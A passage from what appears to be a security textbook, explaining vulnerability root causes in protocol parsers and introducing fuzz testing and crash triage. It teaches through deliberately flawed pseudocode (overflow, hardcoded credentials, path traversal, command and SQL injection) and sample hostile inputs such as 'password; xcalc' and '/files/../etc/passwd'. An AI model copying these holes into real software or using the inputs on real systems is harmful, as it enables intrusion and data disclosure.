Here the memory buffer is dynamically allocated at runtime to contain 
the total size of the input data from the protocol. First, the code reads a 
32-bit integer, which it uses to determine the number of following 32-bit 
values in the protocol u. Next, it determines the total allocation size and 
then allocates a buffer of a corresponding size v. Finally, the code starts a 
loop that reads each value from the protocol into the allocated buffer w. 

What could possibly go wrong? To answer, let’s take a quick look at 
integer overflows.

Integer Overflows

At the processor instruction level, integer arithmetic operations are com-
monly performed using modulo arithmetic. Modulo arithmetic allows values 
to wrap if they go above a certain value, which is called the modulus. A pro-
cessor uses modulo arithmetic if it supports only a certain native integer 
size, such as 32 or 64 bits. This means that the result of any arithmetic oper-
ation must always be within the ranges allowed for the fixed-size integer 
value. For example, an 8-bit integer can take only the values between 0 and 
255; it cannot possibly represent any other values. Figure 9-3 shows what 
happens when you multiply a value by 4, causing the integer to overflow.
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0 1 0 0 0 0 0 1 Original length: 0x41

Overflowed length: 0x1040 0 0 0 0 1 0 0

× 4

Allocation length: 0x040 0 0 0 0 1 0 0=

MSB LSB

1

Figure 9-3: A simple integer overflow

Although this figure shows 8-bit integers for the sake of brevity, the same 
logic applies to 32-bit integers. When we multiply the original length 0x41 
or 65 by 4, the result is 0x104 or 260. That result can’t possibly fit into an 
8-bit integer with a range of 0 to 255. So the processor drops the overflowed 
bit (or more likely stores it in a special flag indicating that an overflow has 
occurred), and the result is the value 4—not what we expected. The proces-
sor might issue an error to indicate that an overflow has occurred, but mem-
ory-unsafe programming languages typically ignore this sort of error. In fact, 
the act of wrapping the integer value is used in architectures such as x86 to 
indicate the signed result of an operation. Higher-level languages might indi-
cate the error, or they might not support integer overflow at all, for instance, 
by extending the size of the integer on demand.

Returning to Listing 9-3, you can see that if an attacker supplies a suit-
ably chosen value for the buffer length, the multiplication by 4 will over-
flow. This results in a smaller number being allocated to memory than is 
being transmitted over the network. When the values are being read from 
the network and inserted into the allocated buffer, the parser uses the orig-
inal length. Because the original length of the data doesn’t match up to the 
size of the allocation, values will be written outside of the buffer, causing 
memory corruption. 

W hat  H appens   If W e A llocate    Z ero  By tes  ?

Consider what happens when we calculate an allocation length of zero bytes. 
Would the allocation simply fail because you can’t allocate a zero-length buf-
fer? As with many issues in languages like C, it is up to the implementation to 
determine what occurs (the dreaded implementation-defined behavior). In the 
case of the C allocator function, malloc, passing zero as the requested size can 
return a failure, or it can return a buffer of indeterminate size, which hardly 
instills confidence.
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Out-of-Bounds Buffer Indexing
You’ve already seen that memory-unsafe languages do not perform bounds 
checks. But sometimes a vulnerability occurs because the size of the buf-
fer is incorrect, leading to memory corruption. Out-of-bounds indexing 
stems from a different root cause: instead of incorrectly specifying the 
size of a data value, we’ll have some control over the position in the buffer 
we’ll access. If incorrect bounds checking is done on the access position, 
a vulnerability exists. The vulnerability can in many cases be exploited to 
write data outside the buffer, leading to selective memory corruption. Or it 
can be exploited by reading a value outside the buffer, which could lead to 
information disclosure or even remote code execution. Listing 9-4 shows an 
example that exploits the first case—writing data outside the buffer. 

u byte app_flags[32];

def update_flag_value()
{

  v byte index = read_byte();
  byte value = read_byte();

  printf("Writing %d to index %d\n", value, index);

  w app_flags[index] = value;
}

Listing 9-4: Writing to an out-of-bound buffer index

This short example shows a protocol with a common set of flags that 
can be updated by the client. Perhaps it’s designed to control certain server 
properties. The listing defines a fixed buffer of 32 flags at u. At v it reads 
a byte from the network, which it will use as the index (with a range of 0 to 
255 possible values), and then it writes the byte to the flag buffer w. The 
vulnerability in this case should be obvious: an attacker can provide values 
outside the range of 0 to 32 with the index, leading to selective memory 
corruption. 

Out-of-bounds indexing doesn’t just have to involve writing. It works 
just as well when values are read from a buffer with an incorrect index. If 
the index were used to read a value and return it to the client, a simple 
information disclosure vulnerability would exist. 

A particularly critical vulnerability could occur if the index were used 
to identify functions within an application to run. This usage could be 
something simple, such as using a command identifier as the index, which 
would usually be programmed by storing memory pointers to functions in 
a buffer. The index is then used to look up the function used to handle the 
specified command from the network. Out-of-bounds indexing would result 
in reading an unexpected value from memory that would be interpreted 
as a pointer to a function. This issue can easily result in exploitable remote 
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code execution vulnerabilities. Typically, all that is required is finding an 
index value that, when read as a function pointer, would cause execution to 
transfer to a memory location an attacker can easily control. 

Data Expansion Attack
Even modern, high-speed networks compress data to reduce the number 
of raw octets being sent, whether to improve performance by reducing data 
transfer time or to reduce bandwidth costs. At some point, that data must 
be decompressed, and if compression is done by an application, data expan-
sion attacks are possible, as shown in Listing 9-5.

void read_compressed_buffer()
{
  byte buf[];
  uint32 len;
  int i = 0;

  // Read the decompressed size
u len = read_uint32();

  // Allocate memory buffer
v   buf = malloc(len);

w   gzip_decompress_data(buf)

  printf("Decompressed in %d bytes\n", len);
}

Listing 9-5: Example code vulnerable to a data expansion attack

Here, the compressed data is prefixed with the total size of the decom-
pressed data. The size is read from the network  and is used to allocate the 
required buffer . After that, a call is made to decompress the data to the 
buffer  using a streaming algorithm, such as gzip. The code does not check 
the decompressed data to see if it will actually fit into the allocated buffer. 

Of course, this attack isn’t limited to compression. Any data transforma-
tion process, whether it’s encryption, compression, or text encoding conver-
sions, can change the data size and lead to an expansion attack. 

Dynamic Memory Allocation Failures
A system’s memory is finite, and when the memory pool runs dry, a dynamic 
memory allocation pool must handle situations in which an application needs 
more. In the C language, this usually results in an error value being returned 
from the allocation functions (usually a NULL pointer); in other languages, it 
might result in the termination of the environment or the generation of an 
exception. 

Several possible vulnerabilities may arise from not correctly handling a 
dynamic memory allocation failure. The most obvious is an application 
crash, which can lead to a denial-of-service condition. 
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Default or Hardcoded Credentials
When one is deploying an application that uses authentication, default cre-
dentials are commonly added as part of the installation process. Usually, 
these accounts have a default username and password associated with them. 
The defaults create a problem if the administrator deploying the applica-
tion does not reconfigure the credentials for these accounts prior to mak-
ing the service available.

A more serious problem occurs when an application has hard-
coded credentials that can be changed only by rebuilding the applica-
tion. These credentials may have been added for debugging purposes 
during development and not removed before final release. Or they could 
be an intentional backdoor added with malicious intent. Listing 9-6 shows 
an example of authentication compromised by hardcoded credentials. 

def process_authentication()
{

  u string username = read_string();
  string password = read_string();

  // Check for debug user, don't forget to remove this before release
  v if(username == "debug")

  {
    return true;
  }
  else
  {

    w return check_user_password(username, password);
  }
}

Listing 9-6: An example of default credentials

The application first reads the username and password from the net-
work u and then checks for a hardcoded username, debug v. If the appli-
cation finds username debug, it automatically passes the authentication 
process; otherwise, it follows the normal checking process w. To exploit 
such a default username, all you’d need to do is log in as the debug user. In 
a real-world application, the credentials might not be that simple to use. 
The login process might require you to have an accepted source IP address, 
send a magic string to the application prior to login, and so on.

User Enumeration
Most user-facing authentication mechanisms use usernames to control access 
to resources. Typically, that username will be combined with a token, such as 
a password, to complete authentication. The user identity doesn’t have to be a 
secret: usernames are often a publicly available email address. 

There are still some advantages to not allowing someone, especially 
unauthenticated users, to gain access to this information. By identifying 
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valid user accounts, it is more likely that an attacker could brute force 
passwords. Therefore, any vulnerability that discloses the existence of 
valid usernames or provides access to the user list is an issue worth iden-
tifying. A vulnerability that discloses the existence of users is shown in 
Listing 9-7.

def process_authentication()
{
  string username = read_string();
  string password = read_string();

  u if(user_exists(username) == false)
  {

    v write_error("User " + username " doesn't exist");
  }
  else
  {

    w if(check_user_password(username, password))
    {
      write_success("User OK");
    }
    else
    {

      x write_error("User " + username " password incorrect");
    }
  }
}

Listing 9-7: Disclosing the existence of users in an application

The listing shows a simple authentication process where the username 
and password are read from the network. It first checks for the existence of 
a user u; if the user doesn’t exist, an error is returned v. If the user exists, 
the listing checks the password for that user w. Again, if this fails, an error 
is written x. You’ll notice that the two error messages in v and x are dif-
ferent depending on whether the user does not exist or only the password is 
incorrect. This information is sufficient to determine which usernames are 
valid. 

By knowing a username, an attacker can more easily brute force valid 
authentication credentials. (It’s simpler to guess only a password rather 
than both a password and username.) Knowing a username can also give 
an attacker enough information to mount a successful social-engineering 
attack that would convince a user to disclose their password or other sensi-
tive information. 

Incorrect Resource Access
Protocols that provide access to resources, such as HTTP or other file-shar-
ing protocols, use an identifier for the resource you want to access. That 
identifier could be a file path or other unique identifier. The application 
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must resolve that identifier in order to access the target resource. On suc-
cess, the contents of the resource are accessed; otherwise, the protocol 
throws an error. 

Several vulnerabilities can affect such protocols when they’re process-
ing resource identifiers. It’s worth testing for all possible vulnerabilities and 
carefully observing the response from the application.

Canonicalization
If the resource identifier is a hierarchical list of resources and directories, 
it’s normally referred to as a path. Operating systems typically define the 
way to specify relative path information is to use two dots (..) to indicate a 
parent directory relationship. Before a file can be accessed, the OS must 
find it using this relative path information. A very naive remote file proto-
col could take a path supplied by a remote user, concatenate it with a base 
directory, and pass that directly to the OS, as shown in Listing 9-8. This is 
known as a canonicalization vulnerability.

def send_file_to_client()
{

u   string name = read_string();
  // Concatenate name from client with base path

v   string fullPath = "/files" + name;

w   int fd = open(fullPath, READONLY);

  // Read file to memory 
x   byte data[] read_to_end(fd);

  // Send to client
y   write_bytes(data, len(data));

}

Listing 9-8: A path canonicalization vulnerability

This listing reads a string from the network that represents the name of 
the file to access u. This string is then concatenated with a fixed base path 
into the full path v to allow access only to a limited area of the filesystem. 
The file is then opened by the operating system w, and if the path contains 
relative components, they are resolved. Finally, the file is read into memory x 
and returned to the client y. 

If you find code that performs this same sequence of operations, you’ve 
identified a canonicalization vulnerability. An attacker could send a relative 
path that is resolved by the OS to a file outside the base directory, resulting 
in sensitive files being disclosed, as shown in Figure 9-4.

Even if an application does some checking on the path before sending 
it to the OS, the application must correctly match how the OS will inter-
pret the string. For example, on Microsoft Windows backslashes (\) and 
forward slashes (/) are acceptable as path separators. If an application 
checks only backslashes, the standard for Windows, there might still be a 
vulnerability.
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Normal operation

/files /passwd

/files/passwd

Concatenate

/files/passwd

Canonicalize

Protocol data

Vulnerable operation

/files /../etc/passwd

/files/../etc/passwd

Concatenate

/etc/passwd

Canonicalize

Protocol data

Figure 9-4: A normal path canonicalization operation versus  
a vulnerable one

Although having the ability to download files from a system might be 
enough to compromise it, a more serious issue results if the canonicaliza-
tion vulnerability occurs in file upload protocols. If you can upload files to 
the application-hosting system and specify an arbitrary path, it’s much eas-
ier to compromise a system. You could, for example, upload scripts or other 
executable content to the system and get the system to execute that content, 
leading to remote code execution. 

Verbose Errors
If, when an application attempts to retrieve a resource, the resource is not 
found, applications typically return some error information. That error 
can be as simple as an error code or a full description of what doesn’t exist; 
however, it should not disclose any more information than required. Of 
course, that’s not always the case.

If an application returns an error message when requesting a resource 
that doesn’t exist and inserts local information about the resource being 
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accessed into the error, a simple vulnerability is present. If a file was being 
accessed, the error might contain the local path to the file that was passed 
to the OS: this information might prove useful for someone trying to get 
further access to the hosting system, as shown in Listing 9-9. 

def send_file_to_client_with_error()
{

  u string name = read_string();

  // Concatenate name from client with base path
  v string fullPath = "/files" + name;

  w if(!exist(fullPath))
  {

    x write_error("File " + fullPath + " doesn't exist");
  }
  else
  {

    y write_file_to_client(fullPath);
  }
}

Listing 9-9: An error message information disclosure

This listing shows a simple example of an error message being returned 
to a client when a requested file doesn’t exist. At u it reads a string from 
the network that represents the name of the file to access. This string is 
then concatenated with a fixed base path into the full path at v. The exis-
tence of the file is checked with the operating system at w. If the file doesn’t 
exist, the full path to the file is added to an error string and returned to the 
client x; otherwise, the data is returned y. 

The listing is vulnerable to disclosing the location of the base path 
on the local filesystem. Furthermore, the path could be used with other 
vulnerabilities to get more access to the system. It could also disclose the 
current user running the application if, for example, the resource directory 
was in the user’s home directory. 

Memory Exhaustion Attacks
The resources of the system on which an application runs are finite: avail-
able disk space, memory, and processing power have limits. Once a critical 
system resource is exhausted, the system might start failing in unexpected 
ways, such as by no longer responding to new network connections.

When dynamic memory is used to process a protocol, the risk of over-
allocating memory or forgetting to free the allocated blocks always exists, 
resulting in memory exhaustion. The simplest way in which a protocol can be 
susceptible to a memory exhaustion vulnerability is if it allocates memory 
dynamically based on an absolute value transmitted in the protocol. For 
example, consider Listing 9-10. 
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def read_buffer()
{
  byte buf[];
  uint32 len;
  int i = 0;

  // Read the number of bytes from the network
  u len = read_uint32();

  // Allocate memory buffer
  v buf = malloc(len);

  // Allocate bytes from network
  w read_bytes(buf, len);

  printf("Read in %d bytes\n", len);
}

Listing 9-10: A memory exhaustion attack

This listing reads a variable-length buffer from the protocol. First, it 
reads in the length in bytes u as an unsigned 32-bit integer. Next, it tries 
to allocate a buffer of that length, prior to reading it from the network v. 
Finally, it reads the data from the network w. The problem is that an 
attacker could easily specify a very large length, say 2 gigabytes, which 
when allocated would block out a large region of memory that no other 
part of the application could access. The attacker could then slowly send 
data to the server (to try to prevent the connection from closing due to a 
timeout) and, by repeating this multiple times, eventually starve the system 
of memory. 

Most systems would not allocate physical memory until it was used, 
thereby limiting the general impact on the system as a whole. However, 
this attack would be more serious on dedicated embedded systems where 
memory is at a premium and virtual memory is nonexistent. 

Storage Exhaustion Attacks
Storage exhaustion attacks are less likely to occur with today’s multi-terabyte 
hard disks but can still be a problem for more compact embedded systems or 
devices without storage. If an attacker can exhaust a system’s storage capacity, 
the application or others on that system could begin failing. Such an attack 
might even prevent the system from rebooting. For example, if an operating 
system needs to write certain files to disk before starting but can’t, a perma-
nent denial-of-service condition can occur. 

The most common cause of this type of vulnerability is in the logging 
of operating information to disk. For example, if logging is very verbose, 
generating a few hundred kilobytes of data per connection, and the maxi-
mum log size has no restrictions, it would be fairly simple to flood storage 
by making repeated connections to a service. Such an attack might be 
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particularly effective if an application logs data sent to it remotely and sup-
ports compressed data. In such a case, an attacker could spend very little 
network bandwidth to cause a large amount of data to be logged. 

CPU Exhaustion Attacks
Even though today’s average smartphone has multiple CPUs at its disposal, 
CPUs can do only a certain number of tasks at one time. It is possible 
to cause a denial-of-service condition if an attacker can consume CPU 
resources with a minimal amount of effort and bandwidth. Although this 
can be done in several ways, I’ll discuss only two: exploiting algorithmic 
complexity and identifying external controllable parameters to crypto-
graphic systems. 

Algorithmic Complexity
All computer algorithms have an associated computational cost that repre-
sents how much work needs to be performed for a particular input to get 
the desired output. The more work an algorithm requires, the more time it 
needs from the system’s processor. In an ideal world, an algorithm should 
take a constant amount of time, no matter what input it receives. But that is 
rarely the case. 

Some algorithms become particularly expensive as the number of input 
parameters increases. For example, consider the sorting algorithm Bubble 
Sort. This algorithm inspects each value pair in a buffer and swaps them 
if the left value of the pair is greater than the right. This has the effect of 
bubbling the higher values to the end of the buffer until the entire buffer is 
sorted. Listing 9-11 shows a simple implementation.

def bubble_sort(int[] buf)
{
  do
  {
    bool swapped = false;
    int N = len(buf);
    for(int i = 1; i < N; ++i)
    {
      if(buf[i-1] > buf[i])
      {

// Swap values
swap( buf[i-1], buf[i] );
swapped = true;

      }
    }
  } while(swapped);
}

Listing 9-11: A simple Bubble Sort implementation



The Root Causes of Vulnerabilities   225

The amount of work this algorithm requires is proportional to the num-
ber of elements (let’s call the number N) in the buffer you need to sort. In 
the best case, this necessitates a single pass through the buffer, requiring N 
iterations, which occurs when all elements are already sorted. In the worst 
case, when the buffer is sorted in reverse, the algorithm needs to repeat the 
sort process N 2 times. If an attacker could specify a large number of reverse-
sorted values, the computational cost of doing this sort becomes significant. 
As a result, the sort could consume 100 percent of a CPU’s processing time 
and lead to denial-of-service. 

In a real-world example of this, it was discovered that some program-
ming environments, including PHP and Java, used an algorithm for the 
hash table implementations that took N 2 operations in the worst case. A 
hash table is a data structure that holds values keyed to another value, such 
as a textual name. The keys are first hashed using a simple algorithm, which 
then determines a bucket into which the value is placed. The N 2 algorithm is 
used when inserting the new value into the bucket; ideally, there should be 
few collisions between the hash values of keys so the size of the bucket is 
small. But by crafting a set of keys with the same hash (but, crucially, differ-
ent key values), an attacker could cause a denial-of-service condition on a 
network service (such as a web server) by sending only a few requests. 

Big- O Notation

Big-O notation, a common representation of computational complexity, repre-
sents the upper bound for an algorithm’s complexity. Table 9-1 lists some com-
mon Big-O notations for various algorithms, from least to most complex. 

Table 9-1: Big-O Notation for Worst-Case Algorithm Complexity

Notation Description

O(1) Constant time; the algorithm always takes the same amount 
of time.

O(log N) Logarithmic; the worst case is proportional to the logarithm of 
the number of inputs.

O(N) Linear time; the worst case is proportional to the number of 
inputs.

O(N 2) Quadratic; the worst case is proportional to the square of the 
number of inputs.

O(2N) Exponential; the worst case is proportional to 2 raised to the 
power N.

Bear in mind that these are worst-case values that don’t necessarily repre-
sent real-world complexity. That said, with knowledge of a specific algorithm, 
such as the Bubble Sort, there is a good chance that an attacker could inten-
tionally trigger the worst case. 
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Configurable Cryptography
Cryptographic primitives processing, such as hashing algorithms, can also 
create a significant amount of computational workload, especially when deal-
ing with authentication credentials. The rule in computer security is that 
passwords should always be hashed using a cryptographic digest algorithm 
before they are stored. This converts the password into a hash value, which 
is virtually impossible to reverse into the original password. Even if the hash 
was disclosed, it would be difficult to get the original password. But someone 
could still guess the password and generate the hash. If the guessed password 
matches when hashed, then they’ve discovered the original password. To 
mitigate this problem, it’s typical to run the hashing operation multiple times 
to increase an attacker’s computational requirement. Unfortunately, this pro-
cess also increases computational cost for the application, which might be a 
problem when it comes to a denial-of-service condition.

A vulnerability can occur if either the hashing algorithm takes an expo-
nential amount of time (based on the size of the input) or the algorithm’s 
number of iterations can be specified externally. The relationship between 
the time required by most cryptographic algorithms and a given input is 
fairly linear. However, if you can specify the algorithm’s number of itera-
tions without any sensible upper bound, processing could take as long as the 
attacker desired. Such a vulnerable application is shown in Listing 9-12.

def process_authentication()
{

u   string username = read_string();
  string password = read_string();

v   int iterations = read_int();

  for(int i = 0; i < interations; ++i)
  {

w     password = hash_password(password);
  }

x   return check_user_password(username, password);
}

Listing 9-12: Checking a vulnerable authentication

First, the username and password are read from the network u. Next, 
the hashing algorithm’s number of iterations is read v, and the hashing 
process is applied that number of times w. Finally, the hashed password is 
checked against one stored by the application x. Clearly, an attacker could 
supply a very large value for the iteration count that would likely consume a 
significant amount of CPU resources for an extended period of time, espe-
cially if the hashing algorithm is computationally complex. 

A good example of a cryptographic algorithm that a client can config-
ure is the handling of public/private keys. Algorithms such as RSA rely on 
the computational cost of factoring a large public key value. The larger the 
key value, the more time it takes to perform encryption/decryption and the 
longer it takes to generate a new key pair. 
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Format String Vulnerabilities
Most programming languages have a mechanism to convert arbitrary data 
into a string, and it’s common to define some formatting mechanism to 
specify how the developer wants the output. Some of these mechanisms are 
quite powerful and privileged, especially in memory-unsafe languages.

A format string vulnerability occurs when the attacker can supply a string 
value to an application that is then used directly as the format string. The 
best-known, and probably the most dangerous, formatter is used by the C 
language’s printf and its variants, such as sprintf, which print to a string. 
The printf function takes a format string as its first argument and then a list 
of the values to format. Listing 9-13 shows such a vulnerable application.

def process_authentication()
{
      string username = read_string();
      string password = read_string();

      // Print username and password to terminal
      printf(username);
      printf(password);

      return check_user_password(username, password))
}

Listing 9-13: The printf format string vulnerability

The format string for printf specifies the position and type of data 
using a %? syntax where the question mark is replaced by an alphanumeric 
character. The format specifier can also include formatting information, 
such as the number of decimal places in a number. An attacker who can 
directly control the format string could corrupt memory or disclose infor-
mation about the current stack that might prove useful for further attacks. 
Table 9-2 shows a list of common printf format specifiers that an attacker 
could abuse.

Table 9-2: List of Commonly Exploitable printf Format Specifiers

Format 
specifier

Description Potential vulnerabilities

%d, %p, %u, %x Prints integers Can be used to disclose information 
from the stack if returned to an attacker

%s Prints a zero terminated 
string

Can be used to disclose information 
from the stack if returned to an attacker 
or cause invalid memory accesses to 
occur, leading to denial-of-service

%n Writes the current number 
of printed characters to 
a pointer specified in the 
arguments

Can be used to cause selective memory 
corruption or application crashes
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Command Injection
Most OSes, especially Unix-based OSes, include a rich set of utilities 
designed for various tasks. Sometimes developers decide that the easiest 
way to execute a particular task, say password updating, is to execute an 
external application or operating system utility. Although this might not be 
a problem if the command line executed is entirely specified by the devel-
oper, often some data from the network client is inserted into the command 
line to perform the desired operation. Listing 9-14 shows such a vulnerable 
application. 

def update_password(string username)
{

  u string oldpassword = read_string();
  string newpassword = read_string();

  if(check_user_password(username, oldpassword))
  {
    // Invoke update_password command 

    v system("/sbin/update_password -u " + username + " -p " + newpassword);
  }
}

Listing 9-14: A password update vulnerable to command injection

The listing updates the current user’s password as long as the origi-
nal password is known u. It then builds a command line and invokes 
the Unix-style system function v. Although we don’t control the username 
or oldpassword parameters (they must be correct for the system call to be 
made), we do have complete control over newpassword. Because no sanitiza-
tion is done, the code in the listing is vulnerable to command injection 
because the system function uses the current Unix shell to execute the 
command line. For example, we could specify a value for newpassword such 
as password; xcalc, which would first execute the password update com-
mand. Then the shell could execute xcalc as it treats the semicolon as a 
separator in a list of commands to execute. 

SQL Injection
Even the simplest application might need to persistently store and retrieve 
data. Applications can do this in a number of ways, but one of the most 
common is to use a relational database. Databases offer many advantages, 
not least of which is the ability to issue queries against the data to perform 
complex grouping and analysis. 

The de facto standard for defining queries to relational databases is the 
Structured Query Language (SQL). This text-based language defines what data 
tables to read and how to filter that data to get the results the application 
wants. When using a text-based language there is a temptation is to build 
queries using string operations. However, this can easily result in a vulner-
ability like command injection: instead of inserting untrusted data into a 
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command line without appropriately escaping, the attacker inserts data into 
a SQL query, which is executed on the database. This technique can modify 
the operation of the query to return known results. For example, what if the 
query extracted the current password for the authenticating user, as shown in 
Listing 9-15?

def process_authentication()
{

u   string username = read_string();
  string password = read_string();

v   string sql = "SELECT password FROM user_table WHERE user = '" + username "'";

w   return run_query(sql) == password;
}

Listing 9-15: An example of authentication vulnerable to SQL injection

This listing reads the username and password from the network u. 
Then it builds a new SQL query as a string, using a SELECT statement to 
extract the password associated with the user from the user table v. 
Finally, it executes that query on the database and checks that the pass-
word read from the network matches the one in the database w. 

The vulnerability in this listing is easy to exploit. In SQL, the strings 
need to be enclosed in single quotes to prevent them from being inter-
preted as commands in the SQL statement. If a username is sent in the 
protocol with an embedded single quote, an attacker could terminate the 
quoted string early. This would lead to an injection of new commands into 
the SQL query. For example, a UNION SELECT statement would allow the query 
to return an arbitrary password value. An attacker could use the SQL injec-
tion to bypass the authentication of an application.

SQL injection attacks can even result in remote code execution. For 
example, although disabled by default, Microsoft’s SQL Server’s database 
function xp_cmdshell allows you to execute OS commands. Oracle’s database 
even allows uploading arbitrary Java code. And of course, it’s also possible 
to find applications that pass raw SQL queries over the network. Even if a 
protocol is not intended for controlling the database, there’s still a good 
chance that it can be exploited to access the underlying database engine. 

Text-Encoding Character Replacement
In an ideal world, everyone would be able to use one type of text encoding 
for all different languages. But we don’t live in an ideal world, and we use 
multiple text encodings as discussed in Chapter 3, such as ASCII and vari-
ants of Unicode. 

Some conversions between text encodings cannot be round-tripped: 
converting from one encoding to another loses important information such 
that if the reverse process is applied, the original text can’t be restored. This 
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is especially problematic when converting from a wide character set such as 
Unicode to a narrow one such as ASCII. It’s simply impossible to encode the 
entire Unicode character set in 7 bits. 

Text-encoding conversions manage this problem in one of two ways. 
The simplest approach replaces the character that cannot be represented 
with a placeholder, such as the question mark (?) character. This might be 
a problem if the data value refers to something where the question mark is 
used as a delimiter or as a special character, for example, as in URL parsing 
where it represents the beginning of a query string. 

The other approach is to apply a best-fit mapping. This is used for 
characters for which there is a similar character in the new encoding. For 
example, the quotation mark characters in Unicode have left-facing and 
right-facing forms that are mapped to specific code points, such as U+201C 
and U+201D for left and right double quotation marks. These are outside 
the ASCII range, but in a conversion to ASCII, they’re commonly replaced 
with the equivalent character, such as U+0022 or the quotation mark. Best-
fit mapping can become a problem when the converted text is processed by 
the application. Although slightly corrupted text won’t usually cause much 
of a problem for a user, the automatic conversion process could cause the 
application to mishandle the data. 

The important implementation issue is that the application first veri-
fies the security condition using one encoded form of a string. Then it uses 
the other encoded form of a string for a specific action, such as reading a 
resource or executing a command, as shown in Listing 9-16. 

def add_user()
{

  u string username = read_unicode_string();

  // Ensure username doesn't contain any single quotes
  v if(username.contains("'") == false)

  {
    // Add user, need to convert to ASCII for the shell

    w system("/sbin/add_user '" + username.toascii() + "'"); 
  }
}

Listing 9-16: A text conversion vulnerability

In this listing, the application reads in a Unicode string representing a 
user to add to the system u. It will pass the value to the add_user command, 
but it wants to avoid a command injection vulnerability; therefore, it first 
ensures that the username doesn’t contain any single quote characters that 
could be misinterpreted v. Once satisfied that the string is okay, it converts 
it to ASCII (Unix systems typically work on a narrow character set, although 
many support UTF-8) and ensures that the value is enclosed with single 
quotes to prevent spaces from being misinterpreted w. 
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Of course, if the best-fit mapping rules convert other characters back 
to a single quote, it would be possible to prematurely terminate the quoted 
string and return to the same sort of command injection vulnerabilities dis-
cussed earlier. 

Final Words
This chapter showed you that many possible root causes exist for vulner-
abilities, with a seemingly limitless number of variants in the wild. Even if 
something doesn’t immediately look vulnerable, persist. Vulnerabilities can 
appear in the most surprising places. 

I’ve covered vulnerabilities ranging from memory corruptions, caus-
ing an application to behave in a different manner than it was originally 
designed, to preventing legitimate users from accessing the services pro-
vided. It can be a complex process to identify all these different issues. 

As a protocol analyzer, you have a number of possible angles. It is also 
vital that you change your strategy when looking for implementation vulner-
abilities. Take into account whether the application is written in memory-safe 
or unsafe languages, keeping in mind that you are less likely to find memory 
corruption in, for example, a Java application. 





10
Finding        and    E x ploiting        

S ec  u rit   y  V u lnerabilities           

Parsing the structure of a complex network proto-
col can be tricky, especially if the protocol parser is 
written in a memory-unsafe programming language, 
such as C/C++. Any mistake could lead to a serious 
vulnerability, and the complexity of the protocol 
makes it difficult to analyze for such vulnerabilities. 
Capturing all the possible interactions between the 
incoming protocol data and the application code that 
processes it can be an impossible task.

This chapter explores some of the ways you can identify security vul-
nerabilities in a protocol by manipulating the network traffic going to and 
from an application. I’ll cover techniques such as fuzz testing and debug-
ging that allow you to automate the process of discovering security issues. 
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I’ll also put together a quick-start guide on triaging crashes to determine 
their root cause and their exploitability. Finally, I’ll discuss the exploitation 
of common security vulnerabilities, what modern platforms do to mitigate 
exploitation, and ways you can bypass these exploit mitigations.

Fuzz Testing
Any software developer knows that testing the code is essential to ensure 
that the software behaves correctly. Testing is especially important when 
it comes to security. Vulnerabilities exist where a software application’s 
behavior differs from its original intent. In theory, a good set of tests 
ensures that this doesn’t happen. However, when working with network 
protocols, it’s likely you won’t have access to any of the application’s tests, 
especially in proprietary applications. Fortunately, you can create your 
own tests.

Fuzz testing, commonly referred to as fuzzing, is a technique that feeds 
random, and sometimes not-so-random, data into a network protocol to force 
the processing application to crash in order to identify vulnerabilities. This 
technique tends to yield results no matter the complexity of the network. 
Fuzz testing involves producing multiple test cases, essentially modified 
network protocol structures, which are then sent to an application for pro-
cessing. These test cases can be generated automatically using random modi-
fications or under direction from the analyst. 

The Simplest Fuzz Test
Developing a set of fuzz tests for a particular protocol is not necessarily a 
complex task. At its simplest, a fuzz test can just send random garbage to 
the network endpoint and see what happens. 

For this example, we’ll use a Unix-style system and the Netcat tool. 
Execute the following on a shell to yield a simple fuzzer:

$ cat /dev/urandom | nc hostname port

This one-line shell command reads data from the system’s random 
number generator device using the cat command. The resulting random 
data is piped into netcat, which opens a connection to a specified endpoint 
as instructed. 

This simple fuzzer will likely only yield a crash on simple protocols with 
few requirements. It’s unlikely that simple random generation would create 
data that meets the requirements of a more complex protocol, such as valid 
checksums or magic values. That said, you’d be surprised how often a simple 
fuzz test can give you valuable results; because it’s so quick to do, you might 
as well try it. Just don’t use this fuzzer on a live industrial control system man-
aging a nuclear reactor! 
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Mutation Fuzzer
Often, you’ll need to be more selective about what data you send to a net-
work connection to get the most useful information. The simplest tech-
nique in this case is to use existing protocol data, mutate it in some way, 
and then send it to the receiving application. This mutation fuzzer can 
work surprisingly well. 

Let’s start with the simplest possible mutation fuzzer: a random bit 
flipper. Listing 10-1 shows a basic implementation of this type of fuzzer.

void SimpleFuzzer(const char* data, size_t length) {
   size_t position = RandomInt(length);
   size_t bit = RandomInt(8);
   
   char* copy = CopyData(data, length);
   copy[position] ^= (1 << bit);
   SendData(copy, length);
} 

Listing 10-1: A simple random bit flipper mutation fuzzer

The SimpleFuzzer() function takes in the data to fuzz and the length of 
the data, and then generates a random number between 0 and the length 
of the data as the byte of the data to modify. Next, it decides which bit 
in that byte to change by generating a number between 0 and 7. Then it 
toggles the bit using the XOR operation and sends the mutated data to its 
network destination.

This function works when, by random chance, the fuzzer modifies a 
field in the protocol that is then used incorrectly by the application. For 
example, your fuzzer might modify a length field set to 0x40 by convert-
ing it to a length field of 0x80000040. This modification might result in an 
integer overflow if the application multiplies it by 4 (for an array of 32-bit 
values, for example). This modification could also cause the data to be mal-
formed, which would confuse the parsing code and introduce other types 
of vulnerabilities, such as an invalid command identifier that results in the 
parser accessing an incorrect location in memory.

You could mutate more than a single bit in the data at a time. However, 
by mutating single bits, you’re more likely to localize the effect of the muta-
tion to a similar area of the application’s code. Changing an entire byte could 
result in many different effects, especially if the value is used for a set of flags. 

You’ll also need to recalculate any checksums or critical fields, such as 
total length values after the data has been fuzzed. Otherwise, the resulting 
parsing of the data might fail inside a verification step before it ever gets to 
the area of the application code that processes the mutated value.

Generating Test Cases
When performing more complex fuzzing, you’ll need to be smarter with your 
modifications and understand the protocol to target specific data types. The 
more data that passes into an application for parsing, the more complex the 
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application will be. In many cases, inadequate checks are made at edge cases 
of protocol values, such as length values; then, if we already know how the 
protocol is structured, we can generate our own test cases from scratch.

Generating our own test cases gives us precise control over the pro-
tocol fields used and their sizes. However, test cases are more complex to 
develop, and careful thought must be given to the kinds you want to gener-
ate. Generating test cases allows you to test for types of protocol values that 
might never be used when you capture traffic to mutate. But the advantage 
is that you’ll exercise more of the application’s code and access areas of 
code that are likely to be less well tested. 

Vulnerability Triaging
After you’ve run a fuzzer against a network protocol and the processing 
application has crashed, you’ve almost certainly found a bug. The next step 
is to find out whether that bug is a vulnerability and what type of vulner-
ability it might be, which depends on how and why the application crashed. 
To do this analysis, we use vulnerability triaging: taking a series of steps to 
search for the root cause of a crash. Sometimes the cause of the bug is clear 
